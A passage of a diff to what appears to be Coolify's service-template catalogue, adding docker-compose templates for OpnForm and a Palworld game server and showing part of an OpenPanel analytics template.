      - 'DATABASE_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'DATABASE_URL_DIRECT=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${OPENPANEL_POSTGRES_DB:-openpanel-db}?schema=public'
      - 'REDIS_URL=redis://default:${SERVICE_PASSWORD_REDIS}@redis:6379'
      - 'CLICKHOUSE_URL=http://clickhouse:8123/openpanel'
    depends_on:
      openpanel-api:
        condition: service_healthy
      postgres:
        condition: service_healthy
      redis:
        condition: service_healthy
      clickhouse:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'curl -f http://localhost:3000/healthcheck || exit 1'
      interval: 10s
      timeout: 5s
      retries: 5
      start_period: 5s
  postgres:
    image: 'postgres:16-alpine'
    volumes:
      - 'openpanel_postgres_data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_DB=${OPENPANEL_POSTGRES_DB:-openpanel-db}'
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRES}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRES}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 10s
      timeout: 5s
      retries: 5
  redis:
    image: 'redis:7.4-alpine'
    volumes:
      - 'openpanel_redis_data:/data'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_REDIS}'
    command: 'redis-server --requirepass ${SERVICE_PASSWORD_REDIS} --maxmemory-policy noeviction'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_REDIS}'
        - ping
      interval: 10s
      timeout: 5s
      retries: 5
  clickhouse:
    image: 'clickhouse/clickhouse-server:24.3.2-alpine'
    volumes:
      - 'openpanel_clickhouse_data:/var/lib/clickhouse'
      - 'openpanel_clickhouse_logs:/var/log/clickhouse-server'
      -
        type: bind
        source: ./clickhouse-config.xml
        target: /etc/clickhouse-server/config.d/op-config.xml
        read_only: true
        content: "<clickhouse>\n    <logger>\n        <level>warning</level>\n        <console>true</console>\n    </logger>\n    <keep_alive_timeout>10</keep_alive_timeout>\n    <!-- Stop all the unnecessary logging -->\n    <query_thread_log remove=\"remove\"/>\n    <query_log remove=\"remove\"/>\n    <text_log remove=\"remove\"/>\n    <trace_log remove=\"remove\"/>\n    <metric_log remove=\"remove\"/>\n    <asynchronous_metric_log remove=\"remove\"/>\n    <session_log remove=\"remove\"/>\n    <part_log remove=\"remove\"/>\n    <listen_host>0.0.0.0</listen_host>\n    <interserver_listen_host>0.0.0.0</interserver_listen_host>\n    <interserver_http_host>opch</interserver_http_host>\n    <!-- Disable cgroup memory observer -->\n    <cgroups_memory_usage_observer_wait_time>0</cgroups_memory_usage_observer_wait_time>\n    <!-- Not used anymore, but kept for backwards compatibility -->\n    <macros>\n        <shard>1</shard>\n        <replica>replica1</replica>\n        <cluster>openpanel_cluster</cluster>\n    </macros>\n</clickhouse>"
      -
        type: bind
        source: ./clickhouse-user-config.xml
        target: /etc/clickhouse-server/users.d/op-user-config.xml
        read_only: true
        content: "<clickhouse>\n    <profiles>\n        <default>\n            <log_queries>0</log_queries>\n            <log_query_threads>0</log_query_threads>\n        </default>\n    </profiles>\n</clickhouse>\n"
      -
        type: bind
        source: ./init-db.sh
        target: /docker-entrypoint-initdb.d/init-db.sh
        content: "#!/bin/sh\nset -e\n\nclickhouse client -n <<-EOSQL\n  CREATE DATABASE IF NOT EXISTS openpanel;\nEOSQL"
    ulimits:
      nofile:
        soft: 262144
        hard: 262144
    healthcheck:
      test:
        - CMD-SHELL
        - 'clickhouse-client --query "SELECT 1"'
      interval: 10s
      timeout: 5s
      retries: 5
",
         "tags": [
             "analytics",
             "insights",
@@ -3054,6 +3068,26 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "opnform": {
+        "documentation": "https://docs.opnform.com/introduction?utm_source=coolify.io",
+        "slogan": "OpnForm is an open-source form builder that lets you create beautiful forms and share them anywhere. It's super fast, you don't need to know how to code",
+        "compose": "x-shared-env:
  APP_NAME: OpnForm
  APP_ENV: production
  APP_KEY: '${SERVICE_BASE64_APIKEY}'
  APP_DEBUG: '${APP_DEBUG:-false}'
  APP_URL: '${SERVICE_URL_NGINX}'
  LOG_CHANNEL: errorlog
  LOG_LEVEL: '${LOG_LEVEL:-debug}'
  FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
  LOCAL_FILESYSTEM_VISIBILITY: public
  CACHE_DRIVER: redis
  QUEUE_CONNECTION: redis
  SESSION_DRIVER: redis
  SESSION_LIFETIME: 120
  MAIL_MAILER: '${MAIL_MAILER:-log}'
  MAIL_HOST: '${MAIL_HOST}'
  MAIL_PORT: '${MAIL_PORT}'
  MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
  MAIL_PASSWORD: '${MAIL_PASSWORD}'
  MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
  MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
  MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
  AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
  AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
  AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
  AWS_BUCKET: '${AWS_BUCKET}'
  OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
  TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
  TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
  REDIS_HOST: redis
  REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
  DB_HOST: postgresql
  DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
  DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
  DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
  DB_CONNECTION: pgsql
  PHP_MEMORY_LIMIT: 1G
  PHP_MAX_EXECUTION_TIME: '600'
  PHP_UPLOAD_MAX_FILESIZE: 64M
  PHP_POST_MAX_SIZE: 64M
services:
  opnform-api:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_URL_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
      JWT_TTL: '${JWT_TTL:-1440}'
      JWT_SECRET: '${SERVICE_PASSWORD_JWTSECRET}'
      JWT_SKIP_IP_UA_VALIDATION: '${JWT_SKIP_IP_UA_VALIDATION:-true}'
      H_CAPTCHA_SITE_KEY: '${H_CAPTCHA_SITE_KEY}'
      H_CAPTCHA_SECRET_KEY: '${H_CAPTCHA_SECRET_KEY}'
      RE_CAPTCHA_SITE_KEY: '${RE_CAPTCHA_SITE_KEY}'
      RE_CAPTCHA_SECRET_KEY: '${RE_CAPTCHA_SECRET_KEY}'
      SHOW_OFFICIAL_TEMPLATES: '${SHOW_OFFICIAL_TEMPLATES:-true}'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'php /usr/share/nginx/html/artisan about || exit 1'
      interval: 30s
      timeout: 15s
      retries: 3
      start_period: 60s
  api-worker:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_URL_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
    command:
      - php
      - artisan
      - 'queue:work'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - "pgrep -f 'php artisan queue:work' > /dev/null || exit 1"
      interval: 60s
      timeout: 10s
      retries: 3
      start_period: 30s
  api-scheduler:
    image: 'jhumanj/opnform-api:1.12.1'
    volumes:
      - 'api-storage:/usr/share/nginx/html/storage'
    environment:
      APP_NAME: OpnForm
      APP_ENV: production
      APP_KEY: '${SERVICE_BASE64_APIKEY}'
      APP_DEBUG: '${APP_DEBUG:-false}'
      APP_URL: '${SERVICE_URL_NGINX}'
      LOG_CHANNEL: errorlog
      LOG_LEVEL: '${LOG_LEVEL:-debug}'
      FILESYSTEM_DRIVER: '${FILESYSTEM_DRIVER:-local}'
      LOCAL_FILESYSTEM_VISIBILITY: public
      CACHE_DRIVER: redis
      QUEUE_CONNECTION: redis
      SESSION_DRIVER: redis
      SESSION_LIFETIME: 120
      MAIL_MAILER: '${MAIL_MAILER:-log}'
      MAIL_HOST: '${MAIL_HOST}'
      MAIL_PORT: '${MAIL_PORT}'
      MAIL_USERNAME: '${MAIL_USERNAME:-your@email.com}'
      MAIL_PASSWORD: '${MAIL_PASSWORD}'
      MAIL_ENCRYPTION: '${MAIL_ENCRYPTION}'
      MAIL_FROM_ADDRESS: '${MAIL_FROM_ADDRESS:-your@email.com}'
      MAIL_FROM_NAME: '${MAIL_FROM_NAME:-OpnForm}'
      AWS_ACCESS_KEY_ID: '${AWS_ACCESS_KEY_ID}'
      AWS_SECRET_ACCESS_KEY: '${AWS_SECRET_ACCESS_KEY}'
      AWS_DEFAULT_REGION: '${AWS_DEFAULT_REGION:-us-east-1}'
      AWS_BUCKET: '${AWS_BUCKET}'
      OPEN_AI_API_KEY: '${OPEN_AI_API_KEY}'
      TELEGRAM_BOT_ID: '${TELEGRAM_BOT_ID}'
      TELEGRAM_BOT_TOKEN: '${TELEGRAM_BOT_TOKEN}'
      REDIS_HOST: redis
      REDIS_PASSWORD: '${SERVICE_PASSWORD_64_REDIS}'
      DB_HOST: postgresql
      DB_DATABASE: '${POSTGRESQL_DATABASE:-opnform}'
      DB_USERNAME: '${SERVICE_USER_POSTGRESQL}'
      DB_PASSWORD: '${SERVICE_PASSWORD_POSTGRESQL}'
      DB_CONNECTION: pgsql
      PHP_MEMORY_LIMIT: 1G
      PHP_MAX_EXECUTION_TIME: '600'
      PHP_UPLOAD_MAX_FILESIZE: 64M
      PHP_POST_MAX_SIZE: 64M
    command:
      - php
      - artisan
      - 'schedule:work'
    depends_on:
      postgresql:
        condition: service_healthy
      redis:
        condition: service_healthy
    healthcheck:
      test:
        - CMD-SHELL
        - 'php /usr/share/nginx/html/artisan app:scheduler-status --mode=check --max-minutes=3 || exit 1'
      interval: 60s
      timeout: 30s
      retries: 3
      start_period: 70s
  opnform-ui:
    image: 'jhumanj/opnform-client:1.12.1'
    environment:
      - NUXT_PUBLIC_APP_URL=/
      - NUXT_PUBLIC_API_BASE=/api
      - 'NUXT_PRIVATE_API_BASE=http://nginx/api'
      - NUXT_PUBLIC_ENV=production
      - 'NUXT_PUBLIC_H_CAPTCHA_SITE_KEY=${H_CAPTCHA_SITE_KEY}'
      - 'NUXT_PUBLIC_RE_CAPTCHA_SITE_KEY=${RE_CAPTCHA_SITE_KEY}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'wget --spider -q http://opnform-ui:3000/login || exit 1'
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 45s
    depends_on:
      opnform-api:
        condition: service_healthy
  postgresql:
    image: 'postgres:16'
    volumes:
      - 'opnform-postgresql-data:/var/lib/postgresql/data'
    environment:
      - 'POSTGRES_USER=${SERVICE_USER_POSTGRESQL}'
      - 'POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}'
      - 'POSTGRES_DB=${POSTGRESQL_DATABASE:-opnform}'
    healthcheck:
      test:
        - CMD-SHELL
        - 'pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}'
      interval: 5s
      timeout: 20s
      retries: 10
  redis:
    image: 'redis:7'
    environment:
      - 'REDIS_PASSWORD=${SERVICE_PASSWORD_64_REDIS}'
    volumes:
      - 'redis-data:/data'
    command:
      - redis-server
      - '--requirepass'
      - '${SERVICE_PASSWORD_64_REDIS}'
    healthcheck:
      test:
        - CMD
        - redis-cli
        - '-a'
        - '${SERVICE_PASSWORD_64_REDIS}'
        - PING
      interval: 10s
      timeout: 30s
      retries: 3
  nginx:
    image: 'nginx:1.29.2'
    environment:
      - SERVICE_URL_NGINX
    volumes:
      -
        type: bind
        source: ./nginx/nginx.conf
        target: /etc/nginx/conf.d/default.conf
        read_only: true
        content: "map $original_uri $api_uri {\n    ~^/api(/.*$) $1;\n    default $original_uri;\n}\n\nserver {\n    listen 80 default_server;\n    root /usr/share/nginx/html/public;\n\n    access_log /dev/stdout;\n    error_log /dev/stderr error;\n\n    index index.html index.htm index.php;\n\n    location / {\n        proxy_http_version 1.1;\n        proxy_pass http://opnform-ui:3000;\n        proxy_set_header X-Real-IP $remote_addr;\n        proxy_set_header X-Forwarded-Host $host;\n        proxy_set_header X-Forwarded-Port $server_port;\n        proxy_set_header Upgrade $http_upgrade;\n        proxy_set_header Connection \"Upgrade\";\n    }\n\n    location ~/(api|open|local\\/temp|forms\\/assets)/ {\n        set $original_uri $uri;\n        try_files $uri $uri/ /index.php$is_args$args;\n    }\n\n    location ~ \\.php$ {\n        fastcgi_split_path_info ^(.+\\.php)(/.+)$;\n        fastcgi_pass opnform-api:9000;\n        fastcgi_index index.php;\n        include fastcgi_params;\n        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/public/index.php;\n        fastcgi_param REQUEST_URI $api_uri;\n    }\n}"
    depends_on:
      - opnform-api
      - opnform-ui
    healthcheck:
      test:
        - CMD
        - nginx
        - '-t'
      interval: 30s
      timeout: 10s
      retries: 3
      start_period: 40s
",
+        "tags": [
+            "opnform",
+            "form",
+            "survey",
+            "cloud",
+            "open-source",
+            "self-hosted",
+            "docker",
+            "no-code",
+            "embeddable"
+        ],
+        "category": null,
+        "logo": "svg/opnform.svg",
+        "minversion": "0.0.0",
+        "port": "80"
+    },
     "orangehrm": {
         "documentation": "https://starterhelp.orangehrm.com/hc/en-us?utm_source=coolify.io",
         "slogan": "OrangeHRM open source HR management software.",
@@ -3145,6 +3179,15 @@
         "minversion": "0.0.0",
         "port": "3000"
     },
+    "palworld": {
+        "documentation": "https://coolify.io/docs",
+        "slogan": "Palworld.yaml",
+        "compose": "services:
  palworld:
    image: 'thijsvanloef/palworld-server-docker:v1.4.6'
    stop_grace_period: 30s
    ports:
      - '8211:8211/udp'
      - '27015:27015/udp'
    volumes:
      - 'palworld-data:/palworld/'
    environment:
      - 'TZ=${TZ:?UTC}'
      - 'PUID=${PUID:?1000}'
      - 'PGID=${PGID:?1000}'
      - 'MULTITHREADING=${MULTITHREADING:?false}'
      - 'MAX_PLAYERS=${PLAYERS:?16}'
      - 'SERVER_NAME=${SERVER_NAME:?palworld-server-docker by Thijs van Loef via Coolify}'
      - 'SERVER_DESCRIPTION=${SERVER_DESCRIPTION:?palworld-server-docker by Thijs van Loef via Coolify}'
      - 'SERVER_PASSWORD=${SERVER_PASSWORD:?worldofpals}'
      - 'ADMIN_PASSWORD=${ADMIN_PASSWORD:-adminPassword}'
      - 'COMMUNITY=${COMMUNITY:?false}'
      - 'PUBLIC_IP=${PUBLIC_IP:-}'
      - 'PUBLIC_PORT=${PUBLIC_PORT:?8211}'
      - 'PORT=${PORT:?8211}'
      - 'QUERY_PORT=${QUERY_PORT:?27015}'
      - 'UPDATE_ON_BOOT=${UPDATE_ON_BOOT:?true}'
      - 'RCON_ENABLED=${RCON_ENABLED:?true}'
      - 'RCON_PORT=${RCON_PORT:?25575}'
      - 'BACKUP_ENABLED=${BACKUP_ENABLED:?true}'
      - 'DELETE_OLD_BACKUPS=${DELETE_OLD_BACKUPS:?false}'
      - 'OLD_BACKUP_DAYS=${OLD_BACKUP_DAYS:?30}'
      - 'BACKUP_CRON_EXPRESSION=${BACKUP_CRON_EXPRESSION:?0 0 * * *}'
      - 'AUTO_UPDATE_ENABLED=${AUTO_UPDATE_ENABLED:?false}'
      - 'AUTO_UPDATE_CRON_EXPRESSION=${AUTO_UPDATE_CRON_EXPRESSION:?0 * * * *}'
      - 'AUTO_UPDATE_WARN_MINUTES=${AUTO_UPDATE_WARN_MINUTES:?30}'
      - 'AUTO_REBOOT_ENABLED=${AUTO_REBOOT_ENABLED:?false}'
      - 'AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE=${AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE:?false}'
      - 'AUTO_REBOOT_WARN_MINUTES=${AUTO_REBOOT_WARN_MINUTES:?5}'
      - 'AUTO_REBOOT_CRON_EXPRESSION=${AUTO_REBOOT_CRON_EXPRESSION:?0 0 * * *}'
      - 'AUTO_PAUSE_ENABLED=${AUTO_PAUSE_ENABLED:?false}'
      - 'AUTO_PAUSE_TIMEOUT_EST=${AUTO_PAUSE_TIMEOUT_EST:?180}'
      - 'AUTO_PAUSE_LOG=${AUTO_PAUSE_LOG:?true}'
      - 'AUTO_PAUSE_DEBUG=${AUTO_PAUSE_DEBUG:?false}'
      - 'ENABLE_PLAYER_LOGGING=${ENABLE_PLAYER_LOGGING:?true}'
      - 'PLAYER_LOGGING_POLL_PERIOD=${PLAYER_LOGGING_POLL_PERIOD:?5}'
      - 'DIFFICULTY=${DIFFICULTY:?None}'
      - 'RANDOMIZER_TYPE=${RANDOMIZER_TYPE:-}'
      - 'RANDOMIZER_SEED=${RANDOMIZER_SEED:?none}'
      - 'DAYTIME_SPEEDRATE=${DAYTIME_SPEEDRATE:?1.000000}'
      - 'NIGHTTIME_SPEEDRATE=${NIGHTTIME_SPEEDRATE:?1.000000}'
      - 'EXP_RATE=${EXP_RATE:?1.000000}'
      - 'PAL_CAPTURE_RATE=${PAL_CAPTURE_RATE:?1.000000}'
      - 'PAL_SPAWN_NUM_RATE=${PAL_SPAWN_NUM_RATE:?1.000000}'
      - 'PAL_DAMAGE_RATE_ATTACK=${PAL_DAMAGE_RATE_ATTACK:?1.000000}'
      - 'PAL_DAMAGE_RATE_DEFENSE=${PAL_DAMAGE_RATE_DEFENSE:?1.000000}'
      - 'PLAYER_DAMAGE_RATE_ATTACK=${PLAYER_DAMAGE_RATE_ATTACK:?1.000000}'
      - 'PLAYER_DAMAGE_RATE_DEFENSE=${PLAYER_DAMAGE_RATE_DEFENSE:?1.000000}'
      - 'PLAYER_STOMACH_DECREASE_RATE=${PLAYER_STOMACH_DECREASE_RATE:?1.000000}'
      - 'PLAYER_STAMINA_DECREASE_RATE=${PLAYER_STAMINA_DECREASE_RATE:?1.000000}'
      - 'PLAYER_AUTO_HP_REGEN_RATE=${PLAYER_AUTO_HP_REGEN_RATE:?1.000000}'
      - 'PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP=${PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
      - 'PAL_STOMACH_DECREASE_RATE=${PAL_STOMACH_DECREASE_RATE:?1.000000}'
      - 'PAL_STAMINA_DECREASE_RATE=${PAL_STAMINA_DECREASE_RATE:?1.000000}'
      - 'PAL_AUTO_HP_REGEN_RATE=${PAL_AUTO_HP_REGEN_RATE:?1.000000}'
      - 'PAL_AUTO_HP_REGEN_RATE_IN_SLEEP=${PAL_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
      - 'BUILD_OBJECT_HP_RATE=${BUILD_OBJECT_HP_RATE:?1.000000}'
      - 'BUILD_OBJECT_DAMAGE_RATE=${BUILD_OBJECT_DAMAGE_RATE:?1.000000}'
      - 'BUILD_OBJECT_DETERIORATION_DAMAGE_RATE=${BUILD_OBJECT_DETERIORATION_DAMAGE_RATE:?1.000000}'
      - 'COLLECTION_DROP_RATE=${COLLECTION_DROP_RATE:?1.000000}'
      - 'COLLECTION_OBJECT_HP_RATE=${COLLECTION_OBJECT_HP_RATE:?1.000000}'
      - 'COLLECTION_OBJECT_RESPAWN_SPEED_RATE=${COLLECTION_OBJECT_RESPAWN_SPEED_RATE:?1.000000}'
      - 'ENEMY_DROP_ITEM_RATE=${ENEMY_DROP_ITEM_RATE:?1.000000}'
      - 'DEATH_PENALTY=${DEATH_PENALTY:?All}'
      - 'ENABLE_PLAYER_TO_PLAYER_DAMAGE=${ENABLE_PLAYER_TO_PLAYER_DAMAGE:?False}'
      - 'ENABLE_FRIENDLY_FIRE=${ENABLE_FRIENDLY_FIRE:?False}'
      - 'ENABLE_INVADER_ENEMY=${ENABLE_INVADER_ENEMY:?True}'
      - 'ACTIVE_UNKO=${ACTIVE_UNKO:?False}'
      - 'ENABLE_AIM_ASSIST_PAD=${ENABLE_AIM_ASSIST_PAD:?True}'
      - 'ENABLE_AIM_ASSIST_KEYBOARD=${ENABLE_AIM_ASSIST_KEYBOARD:?False}'
      - 'DROP_ITEM_MAX_NUM=${DROP_ITEM_MAX_NUM:?3000}'
      - 'DROP_ITEM_MAX_NUM_UNKO=${DROP_ITEM_MAX_NUM_UNKO:?100}'
      - 'BASE_CAMP_MAX_NUM=${BASE_CAMP_MAX_NUM:?128}'
      - 'BASE_CAMP_WORKER_MAX_NUM=${BASE_CAMP_WORKER_MAX_NUM:?15}'
      - 'DROP_ITEM_ALIVE_MAX_HOURS=${DROP_ITEM_ALIVE_MAX_HOURS:?1.000000}'
      - 'AUTO_RESET_GUILD_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_NO_ONLINE_PLAYERS:?False}'
      - 'AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS=${AUTO_RESET_GUILD_TIME_NO_ONLINE_PLAYERS:?72.000000}'
      - 'GUILD_PLAYER_MAX_NUM=${GUILD_PLAYER_MAX_NUM:?20}'
      - 'BASE_CAMP_MAX_NUM_IN_GUILD=${BASE_CAMP_MAX_NUM_IN_GUILD:?4}'
      - 'PAL_EGG_DEFAULT_HATCHING_TIME=${PAL_EGG_DEFAULT_HATCHING_TIME:?72.000000}'
      - 'WORK_SPEED_RATE=${WORK_SPEED_RATE:?1.000000}'
      - 'AUTO_SAVE_SPAN=${AUTO_SAVE_SPAN:?30.000000}'
      - 'IS_MULTIPLAY=${IS_MULTIPLAY:?False}'
      - 'IS_PVP=${IS_PVP:?False}'
      - 'HARDCORE=${HARDCORE:?False}'
      - 'PAL_LOST=${PAL_LOST:?False}'
      - 'CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP=${CAN_PICKUP_OTHER_GUILD_DEATH_PENALTY_DROP:?False}'
      - 'ENABLE_NON_LOGIN_PENALTY=${ENABLE_NON_LOGIN_PENALTY:?True}'
      - 'ENABLE_FAST_TRAVEL=${ENABLE_FAST_TRAVEL:?True}'
      - 'IS_START_LOCATION_SELECT_BY_MAP=${IS_START_LOCATION_SELECT_BY_MAP:?True}'
      - 'EXIST_PLAYER_AFTER_LOGOUT=${EXIST_PLAYER_AFTER_LOGOUT:?False}'
      - 'ENABLE_DEFENSE_OTHER_GUILD_PLAYER=${ENABLE_DEFENSE_OTHER_GUILD_PLAYER:?False}'
      - 'INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX=${INVISIBLE_OTHER_GUILD_BASE_CAMP_AREA_FX:?False}'
      - 'BUILD_AREA_LIMIT=${BUILD_AREA_LIMIT:?False}'
      - 'ITEM_WEIGHT_RATE=${ITEM_WEIGHT_RATE:?1.000000}'
      - 'COOP_PLAYER_MAX_NUM=${COOP_PLAYER_MAX_NUM:?4}'
      - 'REGION=${REGION:-}'
      - 'USEAUTH=${USEAUTH:?True}'
      - 'BAN_LIST_URL=${BAN_LIST_URL:?https://api.palworldgame.com/api/banlist.txt}'
      - 'REST_API_ENABLED=${REST_API_ENABLED:?False}'
      - 'REST_API_PORT=${REST_API_PORT:?8212}'
      - 'SHOW_PLAYER_LIST=${SHOW_PLAYER_LIST:?True}'
      - 'ENABLE_PREDATOR_BOSS_PAL=${ENABLE_PREDATOR_BOSS_PAL:?True}'
      - 'MAX_BUILDING_LIMIT_NUM=${MAX_BUILDING_LIMIT_NUM:?0}'
      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE=${SERVER_REPLICATE_PAWN_CULL_DISTANCE:?15000.000000}'
      - 'SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP=${SERVER_REPLICATE_PAWN_CULL_DISTANCE_IN_BASE_CAMP:?5000.000000}'
      - 'CROSSPLAY_PLATFORMS=${CROSSPLAY_PLATFORMS:?(Steam,Xbox,PS5,Mac)}'
      - 'USE_BACKUP_SAVE_DATA=${USE_BACKUP_SAVE_DATA:?True}'
      - 'USE_DEPOT_DOWNLOADER=${USE_DEPOT_DOWNLOADER:?False}'
      - 'INSTALL_BETA_INSIDER=${INSTALL_BETA_INSIDER:?False}'
      - 'ALLOW_GLOBAL_PALBOX_EXPORT=${ALLOW_GLOBAL_PALBOX_EXPORT:?True}'
      - 'ALLOW_GLOBAL_PALBOX_IMPORT=${ALLOW_GLOBAL_PALBOX_IMPORT:?False}'
      - 'EQUIPMENT_DURABILITY_DAMAGE_RATE=${EQUIPMENT_DURABILITY_DAMAGE_RATE:?1.000000}'
      - 'ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL=${ITEM_CONTAINER_FORCE_MARK_DIRTY_INTERVAL:?1.000000}'
      - 'BOX64_DYNAREC_STRONGMEM=${BOX64_DYNAREC_STRONGMEM:-}'
      - 'BOX64_DYNAREC_BIGBLOCK=${BOX64_DYNAREC_BIGBLOCK:-}'
      - 'BOX64_DYNAREC_SAFEFLAGS=${BOX64_DYNAREC_SAFEFLAGS:-}'
      - 'BOX64_DYNAREC_FASTROUND=${BOX64_DYNAREC_FASTROUND:-}'
      - 'BOX64_DYNAREC_FASTNAN=${BOX64_DYNAREC_FASTNAN:-}'
